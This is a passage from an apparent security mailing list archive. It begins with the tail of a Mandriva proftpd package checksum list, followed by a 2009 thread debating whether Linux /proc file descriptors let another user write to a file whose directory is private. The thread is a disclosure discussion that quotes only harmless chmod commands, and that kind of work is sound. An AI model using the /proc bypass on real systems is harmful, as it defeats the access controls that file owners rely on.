2009.0/i586/proftpd-mod_load-1.3.2-0.2mdv2009.0.i586.rpm
 733382cee50ae4d148f9eed86935fb65  
2009.0/i586/proftpd-mod_quotatab-1.3.2-0.2mdv2009.0.i586.rpm
 4f5681e770dbc8158ff4d1d9e85884f8  
2009.0/i586/proftpd-mod_quotatab_file-1.3.2-0.2mdv2009.0.i586.rpm
 5c85970016925644f7a0a932bea5002a  
2009.0/i586/proftpd-mod_quotatab_ldap-1.3.2-0.2mdv2009.0.i586.rpm
 47d37270cde2da359f6d6f428acc10c9  
2009.0/i586/proftpd-mod_quotatab_radius-1.3.2-0.2mdv2009.0.i586.rpm
 0f728b67d2f8f238bfa4f5b8b1f0988b  
2009.0/i586/proftpd-mod_quotatab_sql-1.3.2-0.2mdv2009.0.i586.rpm
 2d54433085c349c1b20b2ec26bf3d225  
2009.0/i586/proftpd-mod_radius-1.3.2-0.2mdv2009.0.i586.rpm
 0fc65dfa7aee362a60d6bcb1ff918431  
2009.0/i586/proftpd-mod_ratio-1.3.2-0.2mdv2009.0.i586.rpm
 582341e8f7b1d3f121185c9d4b40bbdc  
2009.0/i586/proftpd-mod_rewrite-1.3.2-0.2mdv2009.0.i586.rpm
 4b6f50c608562c24078915f9e214eb4d  
2009.0/i586/proftpd-mod_shaper-1.3.2-0.2mdv2009.0.i586.rpm
 1c276d9c5977fc7b8816baf1408fbd69  
2009.0/i586/proftpd-mod_site_misc-1.3.2-0.2mdv2009.0.i586.rpm
 a00899fd47159c6f790f54bedfb3a6ac  
2009.0/i586/proftpd-mod_sql-1.3.2-0.2mdv2009.0.i586.rpm
 4a9792fd84f3f7ab1013ec5178cac4df  
2009.0/i586/proftpd-mod_sql_mysql-1.3.2-0.2mdv2009.0.i586.rpm
 61ab5c6e18e3f84df95949a36d8acc33  
2009.0/i586/proftpd-mod_sql_postgres-1.3.2-0.2mdv2009.0.i586.rpm
 5ba63d05f3f69f54485391f6ab0a653b  
2009.0/i586/proftpd-mod_time-1.3.2-0.2mdv2009.0.i586.rpm
 2152349321c4f80a502f7f5d5e923dbd  
2009.0/i586/proftpd-mod_tls-1.3.2-0.2mdv2009.0.i586.rpm
 7f6722f1720e2077ab424310be6c64c4  
2009.0/i586/proftpd-mod_vroot-1.3.2-0.2mdv2009.0.i586.rpm
 e02b1a51d8f7aa718e626625be200c82  
2009.0/i586/proftpd-mod_wrap-1.3.2-0.2mdv2009.0.i586.rpm
 361bccd4c589d6175dadf175f31ccb7f  
2009.0/i586/proftpd-mod_wrap_file-1.3.2-0.2mdv2009.0.i586.rpm
 44c17716b77e44e5af5f766b1004ae8e  
2009.0/i586/proftpd-mod_wrap_sql-1.3.2-0.2mdv2009.0.i586.rpm 
 f618c625fbe8a5f48cde53582a41817a  
2009.0/SRPMS/proftpd-1.3.2-0.2mdv2009.0.src.rpm

 Mandriva Linux 2009.0/X86_64:
 6b8421972dc11fa35ac6089d1cdcaf7f  
2009.0/x86_64/proftpd-1.3.2-0.2mdv2009.0.x86_64.rpm
 2dfd50825f710271e86555be4f1415e3  
2009.0/x86_64/proftpd-devel-1.3.2-0.2mdv2009.0.x86_64.rpm
 e476b4d216cd7ae9582ca0dafed47cc6  
2009.0/x86_64/proftpd-mod_autohost-1.3.2-0.2mdv2009.0.x86_64.rpm
 0232803d9a6297fc225aaac8cbc559fd  
2009.0/x86_64/proftpd-mod_ban-1.3.2-0.2mdv2009.0.x86_64.rpm
 a41e144b0501fa8835251792cbf14555  
2009.0/x86_64/proftpd-mod_case-1.3.2-0.2mdv2009.0.x86_64.rpm
 305605982357db25647b1b7b5e663df2  
2009.0/x86_64/proftpd-mod_ctrls_admin-1.3.2-0.2mdv2009.0.x86_64.rpm
 f78ff19aaa813cf3b7540c8cab94ecd2  
2009.0/x86_64/proftpd-mod_gss-1.3.2-0.2mdv2009.0.x86_64.rpm
 7601a417452c5ae1b191df18b73275ad  
2009.0/x86_64/proftpd-mod_ifsession-1.3.2-0.2mdv2009.0.x86_64.rpm
 51e449a04787ebf790361ee07b7b8684  
2009.0/x86_64/proftpd-mod_ldap-1.3.2-0.2mdv2009.0.x86_64.rpm
 8e7dc65a0e92079a8d481b7a0d1fa690  
2009.0/x86_64/proftpd-mod_load-1.3.2-0.2mdv2009.0.x86_64.rpm
 1ad9cb376be63f8e4ae27b2a9c7a72bc  
2009.0/x86_64/proftpd-mod_quotatab-1.3.2-

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 2:39, Pavel Machek wrote:

Original owner did chmod 666... after making sure traditional unix
permissions protect the file. Please look at original mail; it was
subtle but I believe I got it right, and file would not be writable
with /proc unmounted.


I remember the original mail content. You're right, you can't reach
the file if the procfs is not mounted, but you forget about the
race, allowing the guest to create a hardlink to the file in an
unrestricted location before the directory access becomes
restricted. Again, procfs is just another, specific kind of
hardlinks.


Check it again.  There's no race; I check link count before chmod 666.


I didn't see real commands checking the link count, just comments telling about 
it. Not to tell about your script is broken by design. With what object do you 
'chmod 0666 unwritable_file', if that file is not designed for access by anybody 
other than you? This is a rhetorical question.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

> >Original owner did chmod 666... after making sure traditional unix
> >permissions protect the file. Please look at original mail; it was
> >subtle but I believe I got it right, and file would not be writable
> >with /proc unmounted.
> >
> I remember the original mail content. You're right, you can't reach
> the file if the procfs is not mounted, but you forget about the
> race, allowing the guest to create a hardlink to the file in an
> unrestricted location before the directory access becomes
> restricted. Again, procfs is just another, specific kind of
> hardlinks.

Check it again.  There's no race; I check link count before chmod 666.
Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 1:56, Pavel Machek wrote:

Now... go back to my original email:

%pa...@toy:/tmp/my_priv$ chmod 700 .
%# relax file permissions, directory is private, so this is safe
%# check link count on unwritable_file. We would not want someone
%# to have a hard link to work around our permissions, would we?
%pa...@toy:/tmp/my_priv$ chmod 666 unwritable_file

Yes, you are right, open file descriptor acts as a kind of hardlink
here. Except that

a) this kind of hardlink does not exist when /proc is mounted (and on
non-Linux)

b) unlike other hardlinks, you can't see it on the link count

(and c) writing to file descriptor opened read-only is bad).


Plus, you may run traditional unix/POSIX application, expecting
directory access controls to prevent the write. (Or can you see a way
to write to that file when /proc is unmounted?)


Directory permissions control an access just to the directory
itself, not to the files in it, so your pretensions are in fact
illegitimate.


Demonstrate how to get access to the file with /proc unmounted and you
have a point. Demonstrate how to get access on anything else then
Linux and you have a point. Otherwise there's a security hole.


Did you think of creating a hardlink to the file in an unrestricted location?
That is the like "security hole".
--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 2:05, Pavel Machek wrote:

On Sat 2009-10-24 01:12:51, Dan Yefimov wrote:

On 24.10.2009 0:35, Matthew Bergin wrote:

doesnt look like the original owner is trying to write to it. Shows it
cant, it had guest write to it via the proc folders bad permissions.
Looks legitimate


Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
attacker? No, that was the owner of 'unwritable_file', nobody else.
What the 0666 file mode means? It means, that everybody can write to
the file, can't he? So why do you believe that pretension
legitimate?


Original owner did chmod 666... after making sure traditional unix
permissions protect the file. Please look at original mail; it was
subtle but I believe I got it right, and file would not be writable
with /proc unmounted.

I remember the original mail content. You're right, you can't reach the file if 
the procfs is not mounted, but you forget about the race, allowing the guest to 
create a hardlink to the file in an unrestricted location before the directory 
access becomes restricted. Again, procfs is just another, specific kind of 
hardlinks.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

On Sat 2009-10-24 01:12:51, Dan Yefimov wrote:
> On 24.10.2009 0:35, Matthew Bergin wrote:
> >doesnt look like the original owner is trying to write to it. Shows it
> >cant, it had guest write to it via the proc folders bad permissions.
> >Looks legitimate
> >
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
> attacker? No, that was the owner of 'unwritable_file', nobody else.
> What the 0666 file mode means? It means, that everybody can write to
> the file, can't he? So why do you believe that pretension
> legitimate?

Original owner did chmod 666... after making sure traditional unix
permissions protect the file. Please look at original mail; it was
subtle but I believe I got it right, and file would not be writable
with /proc unmounted.

Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

On Sat 2009-10-24 01:24:49, Dan Yefimov wrote:
> On 24.10.2009 1:08, Pavel Machek wrote:
> >>That can hardly be called a real security hole, since the behaviour
> >>described above is expected, and is as it was conceived by design.
> >>If the file owner in fact allows writing to it, why should Linux
> >>prevent that from happening?
> >
> >No, I do not think this is expected. You could not write to that file
> >under traditional unix, and you can not write into that file when
> >/proc is unmounted.
> >
> >I do not think mounting /proc should change access control semantics.
> >
> It didn't in fact change anything. If the guest created hardlink to
> that file in a unrestricted location, what would you say? Procfs is
> in that respect just another sort of hardlinks, whether you like
> that or not. If you didn't in fact restrict an access to the file,
> you're on your own.

Now... go back to my original email:

%pa...@toy:/tmp/my_priv$ chmod 700 .
%# relax file permissions, directory is private, so this is safe
%# check link count on unwritable_file. We would not want someone
%# to have a hard link to work around our permissions, would we?
%pa...@toy:/tmp/my_priv$ chmod 666 unwritable_file

Yes, you are right, open file descriptor acts as a kind of hardlink
here. Except that

a) this kind of hardlink does not exist when /proc is mounted (and on
non-Linux)

b) unlike other hardlinks, you can't see it on the link count

(and c) writing to file descriptor opened read-only is bad).

> >Plus, you may run traditional unix/POSIX application, expecting
> >directory access controls to prevent the write. (Or can you see a way
> >to write to that file when /proc is unmounted?)
> >
> Directory permissions control an access just to the directory
> itself, not to the files in it, so your pretensions are in fact
> illegitimate. 

Demonstrate how to get access to the file with /proc unmounted and you
have a point. Demonstrate how to get access on anything else then
Linux and you have a point. Otherwise there's a security hole.
Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Arturo 'Buanzo' Busleiman]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Dan Yefimov wrote:
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
> attacker? No, that was the owner of 'unwritable_file', nobody else. What
> the 0666 file mode means? It means, that everybody can write to the
> file, can't he? So why do you believe that pretension legitimate?

I think he means the 0700 on the containing directory for the "unwritable_file".

- --
Arturo "Buanzo" Busleiman / Arturo Busleiman @ 4:900/107
Independent Linux and Security Consultant - SANS - OISSG - OWASP
http://www.buanzo.com.ar/pro/eng.html
Mailing List Archives at http://archiver.mailfighter.net
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEAREKAAYFAkriHqYACgkQAlpOsGhXcE2hCACfYUfZIyjg0iVj8ITyjM8VsGzj
MekAn2Npxu5XRIsxx35gJ4DMtMCzmCAB
=WbEZ
-END PGP SIGNATURE-

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 1:08, Pavel Machek wrote:

That can hardly be called a real security hole, since the behaviour
described above is expected, and is as it was conceived by design.
If the file owner in fact allows writing to it, why should Linux
prevent that from happening?


No, I do not think this is expected. You could not write to that file
under traditional unix, and you can not write into that file when
/proc is unmounted.

I do not think mounting /proc should change access control semantics.

It didn't in fact change anything. If the guest created hardlink to that file in 
a unrestricted location, what would you say? Procfs is in that respect just 
another sort of hardlinks, whether you like that or not. If you didn't in fact 
restrict an access to the file, you're on your own.



Plus, you may run traditional unix/POSIX application, expecting
directory access controls to prevent the write. (Or can you see a way
to write to that file when /proc is unmounted?)

Directory permissions control an access just to the directory itself, not to the 
files in it, so your pretensions are in fact illegitimate. Anyway, you're free 
to consider that a security hole, but remember, that nobody is obliged to agree 
with you in that or help you solving problems invented by yourself.

--

Sincerely Your, Dan.